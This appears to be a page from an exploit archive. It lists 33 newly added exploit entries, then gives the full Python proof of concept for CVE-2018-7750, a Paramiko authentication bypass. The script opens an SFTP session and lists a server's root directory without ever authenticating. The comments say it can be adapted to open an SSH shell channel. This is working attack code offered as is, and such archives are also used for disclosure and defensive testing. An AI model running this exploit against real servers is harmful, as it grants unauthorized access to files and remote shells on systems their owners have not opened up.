15b77b5965
33 changes to exploits/shellcodes Navicat 12.0.29 - 'SSH' Denial of Service (PoC) AlienIP 2.41 - Denial of Service (PoC) Local Server 1.0.9 - Denial of Service (PoC) systemd - reexec State Injection systemd - chown_one() can Dereference Symlinks ASRock Drivers - Privilege Escalation Modbus Slave 7.0.0 - Denial of Service (PoC) School Equipment Monitoring System 1.0 - 'login' SQL Injection Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC) Paramiko 2.4.1 - Authentication Bypass Open Faculty Evaluation System 5.6 - 'batch_name' SQL Injection Grapixel New Media 2 - 'pageref' SQL Injection Library Management System 1.0 - 'frmListBooks' SQL Injection Open Faculty Evaluation System 7 - 'batch_name' SQL Injection Card Payment 1.0 - Cross-Site Request Forgery (Update Admin) MTGAS MOGG Web Simulator Script - SQL Injection Aplaya Beach Resort Online Reservation System 1.0 - SQL Injection / Cross-Site Request Forgery Curriculum Evaluation System 1.0 - SQL Injection Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection School Event Management System 1.0 - SQL Injection School Event Management System 1.0 - Arbitrary File Upload School Event Management System 1.0 - Cross-Site Request Forgery (Update Admin) School Attendance Monitoring System 1.0 - Cross-Site Request Forgery (Update Admin) School Attendance Monitoring System 1.0 - Arbitrary File Upload School Attendance Monitoring System 1.0 - SQL Injection PayPal-Credit Card-Debit Card Payment 1.0 - SQL Injection RhinOS CMS 3.x - Arbitrary File Download E-Negosyo System 1.0 - SQL Injection SaltOS Erp Crm 3.1 r8126 - SQL Injection SaltOS Erp Crm 3.1 r8126 - SQL Injection (2) SaltOS Erp Crm 3.1 r8126 - Database File Download K-iwi Framework 1775 - SQL Injection
31 lines
No EOL
1.1 KiB
Python
Executable file
31 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Paramiko 2.4.1 - Authentication Bypass
|
|
# Date: 2018-10-27
|
|
# Exploit Author: Adam Brown
|
|
# Vendor Homepage: https://www.paramiko.org
|
|
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2
|
|
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
|
|
# Tested on: Multiple
|
|
# CVE : CVE-2018-7750
|
|
|
|
# This PoC is based on discussions found at the following github issue:
|
|
# https://github.com/paramiko/paramiko/issues/1175
|
|
# TLDR, Paramiko doesn't check if the client has completed the authentication step
|
|
# before allowing the client to open channels. The PoC below connects to an SFTP
|
|
# server, and lists the root directory without authenticating. Slight modification
|
|
# is required if you want to open an SSH channel.
|
|
|
|
#!/usr/bin/python
|
|
import paramiko
|
|
|
|
host = '127.0.0.1'
|
|
port = 22
|
|
|
|
trans = paramiko.Transport((host, port))
|
|
trans.start_client()
|
|
|
|
# If the call below is skipped, no username or password is required.
|
|
# trans.auth_password('username', 'password')
|
|
|
|
sftp = paramiko.SFTPClient.from_transport(trans)
|
|
print(sftp.listdir('/'))
|
|
sftp.close() |